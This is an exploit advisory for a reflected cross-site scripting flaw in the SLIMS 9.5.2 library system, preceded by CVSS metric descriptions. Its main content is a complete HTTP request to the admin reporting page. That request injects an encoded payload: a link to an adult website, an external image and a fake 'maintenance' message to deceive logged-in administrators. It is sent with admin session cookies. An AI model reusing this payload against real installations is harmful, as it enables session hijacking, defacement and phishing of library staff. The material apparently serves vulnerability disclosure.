The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
## Title: SLIMS-9.5.2 - XSS Reflected - Account Exploit
## Development: nu11secur1ty
## Date: 01.19.2023
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.5.2
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2
## Description:
The value of manual insertion `point 3` is copied into the HTML
document as plain text between tags.
The payload udz21<script>alert(1)</script>rk346 was submitted in
manual insertion point 3.
This input was echoed unmodified in the application's response.
The attacker can trick the already logged-in user, to visit the
exploit link that this attacker is created,
and if this already logged-in user is not actually IT or admin, this
will be the end of this system.
## STATUS: HIGH Vulnerability
[+] Exploit:
```
GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27
HTTP/1.1
Host: pwnedhost1.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1;
SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4
Connection: close
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2)
## Proof and Exploit:
[href](https://streamable.com/zd6e18)
## Reference:
[href](https://portswigger.net/web-security/cross-site-scripting)
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum